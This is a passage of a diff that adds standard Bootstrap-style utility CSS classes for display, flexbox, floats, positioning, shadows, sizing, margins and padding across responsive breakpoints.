.d-xl-table-cell { + display: table-cell !important; + } + .d-xl-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-xl-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media print { + .d-print-none { + display: none !important; + } + .d-print-inline { + display: inline !important; + } + .d-print-inline-block { + display: inline-block !important; + } + .d-print-block { + display: block !important; + } + .d-print-table { + display: table !important; + } + .d-print-table-row { + display: table-row !important; + } + .d-print-table-cell { + display: table-cell !important; + } + .d-print-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-print-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +.embed-responsive { + position: relative; + display: block; + width: 100%; + padding: 0; + overflow: hidden; +} + +.embed-responsive::before { + display: block; + content: ""; +} + +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} + +.embed-responsive-21by9::before { + padding-top: 42.857143%; +} + +.embed-responsive-16by9::before { + padding-top: 56.25%; +} + +.embed-responsive-4by3::before { + padding-top: 75%; +} + +.embed-responsive-1by1::before { + padding-top: 100%; +} + +.flex-row { + -ms-flex-direction: row !important; + flex-direction: row !important; +} + +.flex-column { + -ms-flex-direction: column !important; + flex-direction: column !important; +} + +.flex-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; +} + +.flex-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; +} + +.flex-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; +} + +.flex-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; +} + +.flex-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; +} + +.flex-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} + +.flex-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} + +.justify-content-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} + +.justify-content-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} + +.justify-content-center { + -ms-flex-pack: center !important; + justify-content: center !important; +} + +.justify-content-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} + +.align-items-start { + -ms-flex-align: start !important; + align-items: flex-start !important; +} + +.align-items-end { + -ms-flex-align: end !important; + align-items: flex-end !important; +} + +.align-items-center { + -ms-flex-align: center !important; + align-items: center !important; +} + +.align-items-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; +} + +.align-items-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important; +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important; +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} + +@media (min-width: 576px) { + .flex-sm-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-sm-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-sm-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-sm-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-sm-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-sm-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-sm-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-sm-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-sm-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-sm-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-sm-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-sm-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-sm-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-sm-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-sm-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-sm-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-sm-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-sm-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 768px) { + .flex-md-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-md-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-md-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-md-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-md-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-md-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-md-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-md-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-md-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-md-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-md-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-md-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-md-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-md-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-md-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-md-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-md-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-md-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 992px) { + .flex-lg-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-lg-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-lg-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-lg-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-lg-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-lg-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-lg-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-lg-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-lg-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-lg-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-lg-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-lg-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-lg-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-lg-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-lg-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-lg-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-lg-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-lg-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 1200px) { + .flex-xl-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-xl-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-xl-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-xl-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-xl-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-xl-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-xl-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-xl-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-xl-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-xl-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-xl-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-xl-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-xl-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-xl-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-xl-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-xl-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-xl-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-xl-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +.float-left { + float: left !important; +} + +.float-right { + float: right !important; +} + +.float-none { + float: none !important; +} + +@media (min-width: 576px) { + .float-sm-left { + float: left !important; + } + .float-sm-right { + float: right !important; + } + .float-sm-none { + float: none !important; + } +} + +@media (min-width: 768px) { + .float-md-left { + float: left !important; + } + .float-md-right { + float: right !important; + } + .float-md-none { + float: none !important; + } +} + +@media (min-width: 992px) { + .float-lg-left { + float: left !important; + } + .float-lg-right { + float: right !important; + } + .float-lg-none { + float: none !important; + } +} + +@media (min-width: 1200px) { + .float-xl-left { + float: left !important; + } + .float-xl-right { + float: right !important; + } + .float-xl-none { + float: none !important; + } +} + +.position-static { + position: static !important; +} + +.position-relative { + position: relative !important; +} + +.position-absolute { + position: absolute !important; +} + +.position-fixed { + position: fixed !important; +} + +.position-sticky { + position: -webkit-sticky !important; + position: sticky !important; +} + +.fixed-top { + position: fixed; + top: 0; + right: 0; + left: 0; + z-index: 1030; +} + +.fixed-bottom { + position: fixed; + right: 0; + bottom: 0; + left: 0; + z-index: 1030; +} + +@supports ((position: -webkit-sticky) or (position: sticky)) { + .sticky-top { + position: -webkit-sticky; + position: sticky; + top: 0; + z-index: 1020; + } +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +.sr-only-focusable:active, .sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + overflow: visible; + clip: auto; + white-space: normal; +} + +.shadow-sm { + box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important; +} + +.shadow { + box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important; +} + +.shadow-lg { + box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important; +} + +.shadow-none { + box-shadow: none !important; +} + +.w-25 { + width: 25% !important; +} + +.w-50 { + width: 50% !important; +} + +.w-75 { + width: 75% !important; +} + +.w-100 { + width: 100% !important; +} + +.w-auto { + width: auto !important; +} + +.h-25 { + height: 25% !important; +} + +.h-50 { + height: 50% !important; +} + +.h-75 { + height: 75% !important; +} + +.h-100 { + height: 100% !important; +} + +.h-auto { + height: auto !important; +} + +.mw-100 { + max-width: 100% !important; +} + +.mh-100 { + max-height: 100% !important; +} + +.m-0 { + margin: 0 !important; +} + +.mt-0, +.my-0 { + margin-top: 0 !important; +} + +.mr-0, +.mx-0 { + margin-right: 0 !important; +} + +.mb-0, +.my-0 { + margin-bottom: 0 !important; +} + +.ml-0, +.mx-0 { + margin-left: 0 !important; +} + +.m-1 { + margin: 0.25rem !important; +} + +.mt-1, +.my-1 { + margin-top: 0.25rem !important; +} + +.mr-1, +.mx-1 { + margin-right: 0.25rem !important; +} + +.mb-1, +.my-1 { + margin-bottom: 0.25rem !important; +} + +.ml-1, +.mx-1 { + margin-left: 0.25rem !important; +} + +.m-2 { + margin: 0.5rem !important; +} + +.mt-2, +.my-2 { + margin-top: 0.5rem !important; +} + +.mr-2, +.mx-2 { + margin-right: 0.5rem !important; +} + +.mb-2, +.my-2 { + margin-bottom: 0.5rem !important; +} + +.ml-2, +.mx-2 { + margin-left: 0.5rem !important; +} + +.m-3 { + margin: 1rem !important; +} + +.mt-3, +.my-3 { + margin-top: 1rem !important; +} + +.mr-3, +.mx-3 { + margin-right: 1rem !important; +} + +.mb-3, +.my-3 { + margin-bottom: 1rem !important; +} + +.ml-3, +.mx-3 { + margin-left: 1rem !important; +} + +.m-4 { + margin: 1.5rem !important; +} + +.mt-4, +.my-4 { + margin-top: 1.5rem !important; +} + +.mr-4, +.mx-4 { + margin-right: 1.5rem !important; +} + +.mb-4, +.my-4 { + margin-bottom: 1.5rem !important; +} + +.ml-4, +.mx-4 { + margin-left: 1.5rem !important; +} + +.m-5 { + margin: 3rem !important; +} + +.mt-5, +.my-5 { + margin-top: 3rem !important; +} + +.mr-5, +.mx-5 { + margin-right: 3rem !important; +} + +.mb-5, +.my-5 { + margin-bottom: 3rem !important; +} + +.ml-5, +.mx-5 { + margin-left: 3rem !important; +} + +.p-0 { + padding: 0 !important; +} + +.pt-0, +.py-0 { + padding-top: 0 !important; +} + +.pr-0, +.px-0 { + padding-right: 0 !important; +} + +.pb-0, +.py-0 { + padding-bottom: 0 !important; +} + +.pl-0, +.px-0 { + padding-left: 0 !important; +} + +.p-1 { + padding: 0.25rem !important; +} + +.pt-1, +.py-1 { + padding-top: 0.25rem !important; +} + +.pr-1, +.px-1 { + padding-right: 0.25rem !important; +} + +.pb-1, +.py-1 { + padding-bottom: 0.25rem !important; +} + +.pl-1, +.px-1 { + padding-left: 0.25rem !important; +} + +.p-2 { + padding: 0.5rem !important; +} + +.pt-2, +.py-2 { + padding-top: 0.5rem !important; +} + +.pr-2, +.px-2 { + padding-right: 0.5rem !important; +} + +.pb-2, +.py-2 { + padding-bottom: 0.5rem !important; +} + +.pl-2, +.px-2 { + padding-left: 0.5rem !important; +} + +.p-3 { + padding: 1rem !important; +} + +.pt-3, +.py-3 { + padding-top: 1rem !important; +} + +.pr-3, +.px-3 { + padding-right: 1rem !important; +} + +.pb-3, +.py-3 { + padding-bottom: 1rem !important; +} + +.pl-3, +.px-3 { + padding-left: 1rem !important; +} + +.p-4 { + padding: 1.5rem !important; +} + +.pt-4, +.py-4 { + padding-top: 1.5rem !important; +} + +.pr-4, +.px-4 { + padding-right: 1.5rem !important; +} + +.pb-4, +.py-4 { + padding-bottom: 1.5rem !important; +} + +.pl-4, +.px-4 { + padding-left: 1.5rem !important; +} + +.p-5 { + padding: 3rem !important; +} + +.pt-5, +.py-5 { + padding-top: 3rem !important; +} + +.pr-5, +.px-5 { + padding-right: 3rem !important; +} + +.pb-5, +.py-5 { + padding-bottom: 3rem !important; +} + +.pl-5, +.px-5 { + padding-left: 3rem !important; +} + +.m-auto { + margin: auto !important; +} + +.mt-auto, +.my-auto { + margin-top: auto !important; +} + +.mr-auto, +.mx-auto { + margin-right: auto !important; +} + +.mb-auto, +.my-auto { + margin-bottom: auto !important; +} + +.ml-auto, +.mx-auto { + margin-left: auto !important; +} + +@media (min-width: 576px) { + .m-sm-0 { + margin: 0 !important; + } + .mt-sm-0, + .my-sm-0 { + margin-top: 0 !important; + } + .mr-sm-0, + .mx-sm-0 { + margin-right: 0 !important; + } + .mb-sm-0, + .my-sm-0 { + margin-bottom: 0 !important; + } + .ml-sm-0, + .mx-sm-0 { + margin-left: 0 !important; + } + .m-sm-1 { + margin: 0.25rem !important; + } + .mt-sm-1, + .my-sm-1 { + margin-top: 0.25rem !important; + } + .mr-sm-1, + .mx-sm-1 { + margin-right: 0.25rem !important; + } + .mb-sm-1, + .my-sm-1 { + margin-bottom: 0.25rem !important; + } + .ml-sm-1, + .mx-sm-1 { + margin-left: 0.25rem !important; + } + .m-sm-2 { + margin: 0.5rem !important; + } + .mt-sm-2, + .my-sm-2 { + margin-top: 0.5rem !important; + } + .mr-sm-2, + .mx-sm-2 { + margin-right: 0.5rem !important; + } + .mb-sm-2, + .my-sm-2 { + margin-bottom: 0.5rem !important; + } + .ml-sm-2, + .mx-sm-2 { + margin-left: 0.5rem !important; + } + .m-sm-3 { + margin: 1rem !important; + } + .mt-sm-3, + .my-sm-3 { + margin-top: 1rem !important; + } + .mr-sm-3, + .mx-sm-3 { + margin-right: 1rem !important; + } + .mb-sm-3, + .my-sm-3 { + margin-bottom: 1rem !important; + } + .ml-sm-3, + .mx-sm-3 { + margin-left: 1rem !important; + } + .m-sm-4 { + margin: 1.5rem !important; + } + .mt-sm-4, + .my-sm-4 { + margin-top: 1.5rem !important; + } + .mr-sm-4, + .mx-sm-4 { + margin-right: 1.5rem !important; + } + .mb-sm-4, + .my-sm-4 { + margin-bottom: 1.5rem !important; + } + .ml-sm-4, + .mx-sm-4 { + margin-left: 1.5rem !important; + } + .m-sm-5 { + margin: 3rem !important; + } + .mt-sm-5, + .my-sm-5 { + margin-top: 3rem !important; + } + .mr-sm-5, + .mx-sm-5 { + margin-right: 3rem !important; + } + .mb-sm-5, + .my-sm-5 { + margin-bottom: 3rem !important; + } + .ml-sm-5, + .mx-sm-5 { + margin-left: 3rem !important; + } + .p-sm-0 { + padding: 0 !important; + } + .pt-sm-0, + .py-sm-0 { + padding-top: 0 !important; + } + .pr-sm-0, + .px-sm-0 { + padding-right: 0 !important; + } + .pb-sm-0, + .py-sm-0 { + padding-bottom: 0 !important; + } + .pl-sm-0, + .px-sm-0 { + padding-left: 0 !important; + } + .p-sm-1 { + padding: 0.25rem !important; + } + .pt-sm-1, + .py-sm-1 { + padding-top: 0.25rem !important; + } + .pr-sm-1, + .px-sm-1 { + padding-right: 0.25rem !important; + } + .pb-sm-1, + .py-sm-1 { + padding-bottom: 0.25rem !important; + } + .pl-sm-1, + .px-sm-1 { + padding-left: 0.25rem !important; + } + .p-sm-2 { + padding: 0.5rem !important; + } + .pt-sm-2, + .py-sm-2 { + padding-top: 0.5rem !important; + } + .pr-sm-2, + .px-sm-2 { + padding-right: 0.5rem !important; + } + .pb-sm-2, + .py-sm-2 { + padding-bottom: 0.5rem !important; + } + .pl-sm-2, + .px-sm-2 { + padding-left: 0.5rem !important; + } + .p-sm-3 { + padding: 1rem !important; + } + .pt-sm-3, + .py-sm-3 { + padding-top: 1rem !important; + } + .pr-sm-3, + .px-sm-3 { + padding-right: 1rem !important; + } + .pb-sm-3, + .py-sm-3 { + padding-bottom: 1rem !important; + } + .pl-sm-3, + .px-sm-3 { + padding-left: 1rem !important; + } + .p-sm-4 { + padding: 1.5rem !important; + } + .pt-sm-4, + .py-sm-4 { + padding-top: 1.5rem !important; + } + .pr-sm-4, + .px-sm-4 { + padding-right: 1.5rem !important; + } + .pb-sm-4, + .py-sm-4 { + padding-bottom: 1.5rem !important; + } + .pl-sm-4, + .px-sm-4 { + padding-left: 1.5rem !important; + } + .p-sm-5 { + padding: 3rem !important; + } + .pt-sm-5, + .py-sm-5 { + padding-top: 3rem !important; + } + .pr-sm-5, + .px-sm-5 { + padding-right: 3rem !important; + } + .pb-sm-5, + .py-sm-5 { + padding-bottom: 3rem !important; + } + .pl-sm-5, + .px-sm-5 { + padding-left: 3rem !important; + } + .m-sm-auto { + margin: auto !important; + } + .mt-sm-auto, + .my-sm-auto { + margin-top: auto !important; + } + .mr-sm-auto, + .mx-sm-auto { + margin-right: auto !important; + } + .mb-sm-auto, + .my-sm-auto { + margin-bottom: auto !important; + } + .ml-sm-auto, + .mx-sm-auto { + margin-left: auto !important; + } +} + +@media (min-width: 768px) { + .m-md-0 { + margin: 0 !important; + } + .mt-md-0, + .my-md-0 { + margin-top: 0 !important; + } + .mr-md-0, + .mx-md-0 { + margin-right: 0 !important; + } + .mb-md-0, + .my-md-0 { + margin-bottom: 0 !important; + } + .ml-md-0, + .mx-md-0 { + margin-left: 0 !important; + } + .m-md-1 { + margin: 0.25rem !important; + } + .mt-md-1, + .my-md-1 { + margin-top: 0.25rem !important; + } + .mr-md-1, + .mx-md-1 { + margin-right: 0.25rem !important; + } + .mb-md-1, + .my-md-1 { + margin-bottom: 0.25rem !important; + } + .ml-md-1, + .mx-md-1 { + margin-left: 0.25rem !important; + } + .m-md-2 { + margin: 0.5rem !important; + } + .mt-md-2, + .my-md-2 { + margin-top: 0.5rem !important; + } + .mr-md-2, + .mx-md-2 { + margin-right: 0.5rem !important; + } + .mb-md-2, + .my-md-2 { + margin-bottom: 0.5rem !important; + } + .ml-md-2, + .mx-md-2 { + margin-left: 0.5rem !important; + } + .m-md-3 { + margin: 1rem !important; + } + .mt-md-3, + .my-md-3 { + margin-top: 1rem !important; + } + .mr-md-3, + .mx-md-3 { + margin-right: 1rem !important; + } + .mb-md-3, + .my-md-3 { + margin-bottom: 1rem !important; + } + .ml-md-3, + .mx-md-3 { + margin-left: 1rem !important; + } + .m-md-4 { + margin: 1.5rem !important; + } + .mt-md-4, + .my-md-4 { + margin-top: 1.5rem !important; + } + .mr-md-4, + .mx-md-4 { + margin-right: 1.5rem !important; + } + .mb-md-4, + .my-md-4 { + margin-bottom: 1.5rem !important; + } + .ml-md-4, + .mx-md-4 { + margin-left: 1.5rem !important; + } + .m-md-5 { + margin: 3rem !important; + } + .mt-md-5, + .my-md-5 { + margin-top: 3rem !important; + } + .mr-md-5, + .mx-md-5 { + margin-right: 3rem !important; + } + .mb-md-5, + .my-md-5 { + margin-bottom: 3rem !important; + } + .ml-md-5, + .mx-md-5 { + margin-left: 3rem !important; + } + .p-md-0 { + padding: 0 !important; + } + .pt-md-0, + .py-md-0 { + padding-top: 0 !important; + } + .pr-md-0, + .px-md-0 { + padding-right: 0 !important; + } + .pb-md-0, + .py-md-0 { + padding-bottom: 0 !important; + } + .pl-md-0, + .px-md-0 { + padding-left: 0 !important; + } + .p-md-1 { + padding: 0.25rem !important; + } + .pt-md-1, + .py-md-1 { + padding-top: 0.25rem !important; + } + .pr-md-1, + .px-md-1 { + padding-right: 0.25rem !important; + } + .pb-md-1, + .py-md-1 { + padding-bottom: 0.25rem !important; + } + .pl-md-1, + .px-md-1 { + padding-left: 0.25rem !important; + } + .p-md-2 { + padding: 0.5rem !important; + } + .pt-md-2, + .py-md-2 { + padding-top: 0.5rem !important; + } + .pr-md-2, + .px-md-2 { + padding-right: 0.5rem !important; + } + .pb-md-2, + .py-md-2 { + padding-bottom: 0.5rem !important; + } + .pl-md-2, + .px-md-2 { + padding-left: 0.5rem !important; + } + .p-md-3 { + padding: 1rem !important; + } + .pt-md-3, + .py-md-3 { + padding-top: 1rem !important; + } + .pr-md-3, + .px-md-3 { + padding-right: 1rem !important; + } + .pb-md-3, + .py-md-3 { + padding-bottom: 1rem !important; + } + .pl-md-3, + .px-md-3 { + padding-left: 1rem !important; + } + .p-md-4 { + padding: 1.5rem !important; + } + .pt-md-4, + .py-md-4 { + padding-top: 1.5rem !important; + } + .pr-md-4, + .px-md-4 { + padding-right: 1.5rem !important; + } + .pb-md-4, + .py-md-4 { + padding-bottom: 1.5rem !important; + } + .pl-md-4, + .px-md-4 